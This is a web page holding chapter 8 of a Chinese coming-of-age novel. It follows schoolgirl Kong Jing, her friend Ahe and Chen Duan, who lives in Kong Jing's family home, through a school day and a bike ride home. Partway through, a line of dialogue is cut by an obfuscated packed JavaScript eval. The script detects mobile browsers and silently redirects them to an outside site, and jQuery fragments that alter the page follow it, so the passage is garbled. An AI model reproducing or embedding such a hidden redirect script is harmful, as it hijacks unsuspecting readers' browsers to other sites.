8. 第 8 章

作品:《致我的少年

    两年后,梅村中学——


    “快快快!孔净你快点啦!”


    下课铃声刚响完,阿禾就从二班教室冲出来,站在一班走廊上对着孔净疯狂挥手。


    孔净手忙脚乱地收拾东西,阿禾急得从窗户伸进手来帮孔净把钢笔塞进笔袋。孔净怕自己再慢点,阿禾会从窗户爬进来,有点吓人,于是赶紧挤出座位和她汇合。


    阿禾就像接力赛运动员,两只脚已经动起来,一只手往后抓住孔净的胳膊就带着她飞冲出去。


    越过前面同样穿蓝白校服的人,两个身影跑出校园,白色运动鞋在种满香樟的柏油路上敲出清脆节拍。


    跑过岔路口,一棵香樟树下铺开七八张矮桌,阿禾拉着孔净占据完全被树荫遮蔽的那张,气都还没喘匀就转头甜甜高喊:“我们要两份,菜汤里多加葱花,谢谢阿姨!”


    “好啦,过来拿。”很快,阿姨从旁边小屋的窗洞中把她们的饭菜递出来。


    咸肉焖饭和虾皮紫菜汤是阿姨的拿手好菜,据说从她在梅村中学外开饭馆起就凭借这门手艺赢得了每届学生的夸赞。倘若想换换口味,阿姨还准备了五花大肉粽、牛肉羹和扁食供手头宽裕的学生选择。


    阿禾和孔净明显属于不宽裕的类型,于是每天中午和傍晚都只要五元一份的固定饭菜套餐。


    学校也有食堂供应快餐,但是不像这家饭馆物美价廉,打饭的阿伯也没有饭馆阿姨大方,要是想在不加钱的基础上多要一点点点哪怕是菜汤,阿伯都会用手里的长柄杓子“吭吭吭”地敲几下餐盘,盘子里本就不多的肉条抖啊抖,眼睁睁掉回了打菜盆。


    “人小胃口大,吃多积食,阿伯是为你好!”


    软糯咸香的焖饭在舌尖迸发美味,配上一口热腾腾的紫菜汤,阿禾吃得额头冒汗发出一声满足的喟叹。


    “英语作业做完了吗?待会借我抄!”


    “没有哦。”孔净用勺子把碗里最后一口焖饭刮干净送到嘴边。


    “我才不信咧!你每次交作业都超积极好吗!老师在我们班也夸你!”


    梅村中学收纳来自附近几个村庄和工厂的学生,但是多数有远见的家长会选择把孩子送去镇里的中学,因此梅村中学每个年级只有三个班,每个班三十多个学生。


    孔净和阿禾不同班,但是因为任课老师都一样,所以不仅每天约在一起觅食,阿禾还会以“一起做作业”的名义赖在孔净的座位边和宿舍里,可以说是形影不离。


    付了饭钱,阿禾和孔净慢慢走去拐角那家文具店,又是一年夏天,亚热带海风吹走本就不多的暑气,明烈阳光照在身上并不觉得热,很舒适的温度。


    “诶诶快看,是陈端!”文具货架对面有个女生发出一声低呼,她推推身边的同伴,“你不是说想和他交朋友?快去啊。”


    店门外,两排香樟树枝叶相连,阳光穿过拱形华盖落下斑驳星点,穿蓝白校服的少年身影颀长,眉眼安静。


    他走到文具店外面的冰柜前,一手撑在冰柜上,一手推开柜门,因为个子高所以微微弓着背,低头从里面拿了几只雪糕。


    趁着他在柜台前结账,想和陈端交朋友的女生红着脸走过去,“我请你,我是三班的张……”


    “不用了,谢谢。”


    陈端叼着一支雪糕,收回找零。


    文具店老板见他转身就走,连忙叫住他,“还有两支不要哦?”


    陈端回头,视线朝货架那边扫去,“有人拿。”


    “……嗯?”


    老板疑惑,陈端刚走,就看见一个身影跑过来,手速奇快捞走放在柜台上的雪糕。


    “欧!巧乐兹!陈端怎么知道这是我的最爱!吼!”


    阿禾撕开包装,心满意足地咬下去,双眼斜斜往上一挑,笑眯眯地看向刚才那个被陈端当面拒绝的女生。


    女生双颊臊红,她的同伴看出阿禾在挑衅,“喂,你跟陈端是什么关系?他为什么买东西给你?”


    “同班同学啰。”阿禾耸耸肩,把另一支雪糕塞到孔净手上,拉着她就走了。


    走出一段路之后,她回头望一眼,“哈哈哈,你有没有看见她们被气成了猪肝色!”


    “有啦。”孔净配合地点点头,阿禾笑得超大声。


    “但是,”孔净咬着雪糕提醒阿禾,“不要这么张扬啦,小心被找麻烦。”


    “我才不怕!”


    可能是小学毕业之前孔净为了阿禾和男生大打出手那次,给她留下的印象太深,上了初中之后,阿禾变得要比以前尖锐很多,甚至在初二这年喜提小跟班。


    “再说了,我是在帮你挡火力诶!”阿禾大言不惭,“如果被她们知道你和陈端的关系,你会被烦死!所以吼,为了让你专心学习,我只好牺牲自己。”


    “真是谢谢你了。”


    “知道就好。英语作业记得借我抄!”


    上初中之后孔净和陈端延续小学的相处模式,他们在学校很少有交集,因为报道那天没带家长,所以连老师也不知道他们每周五放学后回的其实是同一个家。


    又加上以前小学相熟的人来这里上学的只有那么几个,本来就因为孔净和陈端冷淡如陌生人而怀疑他们到底是不是姐弟,后来你不提我不提,居然都忘了这么一回事。


    “话说回来,”阿禾觉得蛮奇怪,“你干嘛不理陈端?”


    “没有不理啊。”孔净说。


    “哦,那你们为什么互相不理?”


    “也没有啊,你手里拿的雪糕是谁买的?”


    “明明是陈端给我买,顺便给你也带一支!”


    “这样啊,再次谢谢你。”


    “哎呀哎呀。”阿禾举着吃完的雪糕棍在路边扭得像上了发条。


    阿禾话是这么说,但实际上在没有孔净在场的情况下她根本不会主动去招惹陈端。


    “陈端比以前更正太没错,但是没有攻击性的安静美男子只是假象好吗。那次打架他凶成那样,如果不是后来老师来拉,我超怕他会把那个家伙——”阿禾夸张地做了个抹脖子的动作,“总之,我觉得他无法驾驭。”


    “这就是你食言不请他拍大头贴和吃冰淇淋的理由吗?”孔净吃完雪糕,把雪糕棍装进包装袋,折了两折拿在手里等进了学校扔进垃圾桶里。


    “额……我有说过要请他?”阿禾假装失忆,先一步跑进一班教室当着孔净的面顺走她的作业本,不止英语,语文、数学、物理……能拿的全都扫荡一空。


    周五下午提前放学,阿禾要去小跟班家里看碟片,最后一节课没上就跑了。孔净抱着课本去宿舍收拾东西,出来时停车棚里已经没剩几辆自行车。


    孔净把书包放进前车袋,不疾不徐地骑着出了校门。


    骑过香樟柏油路就是连接附近几个村镇的大马路,路口有几家经营网吧、台球厅、录像厅之类的铺面。班主任曾经在课堂上严令禁止大家出入这类地方,但无论什么时候这几家铺面都生意兴隆,周末这几天尤其挤满了各种黄毛绿毛。


    孔净扫了眼店铺前边专门给来消费的学生辟出的停车位,单脚支地,同时右手指尖拨动车铃。


    清脆悦耳的铃声响起,她随即仰头,看见门店二楼的窗户里有个蓝白色身影从位置上起身。


    在门口那个黄毛吹起流氓哨之前,孔净支在地上的右腿轻快一蹬,马尾高高扬起,蓝白校服迅速融进落日余晖。


    没过多久,身后响起相同音色和音调的车铃声,孔净回头,少年骑着和她同款不同色的自行车慢慢追了上来。


    “并行很危险。”孔净掌着龙头往路边靠。


    “嗯。”陈端从善如流,却没有减速或者加速的自觉。


    孔净只好减缓车速,陈端偏头看她,也跟着刹车。


    孔净说:“再这样下次我不叫你了。”


    “哦。”陈端像是真被她这句没有杀伤力的话给拿捏住了,被校服裹着的长腿踩在脚踏上,让自行车在静止中保持平衡。


    孔净越过他,骑过一段路后又嫌他慢,拐进通往厂区的小路后索性停下来等他。


    “你上网一般都干什么?”陈端刚要错身而过,孔净就重新踩动踏板。


    “打游戏,看电影。”陈端的声音听起来很干净,和沿海夏日的晚风一样清爽。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317112|183059||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不聊Q吗?”孔净说,“班上好多同学都申请了账号,听说可以在个人空间里上传东西,好友之间还可以互相查看。”


    “不是好友也可以看,如果没特殊设置的话。要吗?”前面是上坡,陈端翻身下了车。


    “要什么?”孔净每次到这段路都骑不动,干脆放弃。


    陈端推着车和她隔着一小段距离并肩而行,“Q。”


    孔净想了下,“不要,网吧好乱,家里也没有电脑。”


    “嗯。”


    “这周末你打算做什么?”终于爬上来了,孔净扶着车把手停下来歇息。


    “没想好,你呢?”陈端坐上车垫,他比孔净高,左腿随意一支,白色运动鞋点地连车身都不用偏一下。


    “做作业,周日下午约了阿禾。”孔净也重新骑上车。


    “又去采蘑菇?”


    “对啊,李阿伯给我们涨价了,一斤干菇可以卖到五十。”


    “一个月可以采一斤吗?”


    “是两斤!”


    孔净上身伏低加快车速,风鼓进校服衣角,马尾浸在霞光中划出虚影。


    孔净把车推进石厝旁边的简棚,李贤梅也从厂里回来了。


    “陈端呢?”


    孔净朝后面看一眼,被晚霞拂照的路面空荡荡,他应该又拐去石坑了。


    “……不知道。”垂眼,把自行车推进简棚,然后抱着书包走出来。


    李贤梅从腰袢上解下钥匙,锁眼发旧不太好开,她连续捅了好几下,“哐当”一声把铁门推得撞上里面的隔挡。


    “一天天跑得连人影都看不到,干脆一直不回来好了!”


    她说话没个指代,像是在骂陈端也像是在骂孔大勇。


    孔净没应李贤梅这句,她进了屋,不着急做作业,先去看灶台下有什么食材。


    她拎着一袋子表皮已经发青长芽的土豆转头问李贤梅:“晚上炖土豆吧,再不吃就要坏了。”


    李贤梅坐在桌子边给自己捶腿,她在厂里忙活了一整天,一身骨头又沉又痛。


    她点点头,指挥孔净给自己倒了杯水。


    “你少跟陈端学,在你爸面前装装样子就算了,去学校能少打交道就少打交道——你们宿舍离得不近吧?”


    李贤梅端着杯子忽然发问。


    小学毕业前的那次打架事件,虽然后来老师理清事情经过后证明孔净的出发点是为阿禾打抱不平,但是由于有陈端的加入,李贤梅坚持认为孔净就是被他带坏,不然孔净怎么有胆子和刺头动手。


    李贤梅私下多次耳提面命,要孔净洁身自好,离陈端有多远就多远。


    “不近,”孔净蹲在灶台边削土豆,每削一下土豆皮就从刀片中卷曲掉落,她想了下,又说,“隔很远。”


    “再远能远到哪里去。”李贤梅不满意,“要是能隔离就好了。”


    她其实想说的是能把陈端送走就好了。


    可是陈端在这个家已经住了快六年,虽然他还是不肯改口,孔大勇却待他比亲儿子还亲。


    有次李贤梅不过和他随口提了一句,再想办法联系看看陈端那对出去创业却至今下落不明的父母,孔大勇鼓起金鱼眼说她是想要他的命!


    相熟的姐妹劝李贤梅,“就当儿子养嘛,你生不出来,老天爷专门送给你的!一个女人没有儿子,家庭总归不稳。你看看自从有了陈端,孔大勇是不是老实多了?”


    ……


    门外传来自行车链条转动的声音,李贤梅拉回思绪,看见陈端拎着书包进门,一转眼就六年了啊,陈端十四岁,当初那个小小白白的小孩已经长成了雪松一样的少年,静明五官在黯淡光线里也出彩,她和孔大勇就算能生,能生出这样的孩子吗?


    “回来了?”李贤梅招呼一声,当着陈端的面她的态度算不上亲热,但也不冷淡。


    “嗯。”


    陈端走过去,把书包挂在铁架床侧边的挂钩上,旁边隔着小段距离并排挂着的是孔净的书包。


    他放下包又出去了,走出门之前轻垂一下眼,孔净捧着削好的一盆土豆站起身,视线自下而上,同他轻轻一碰。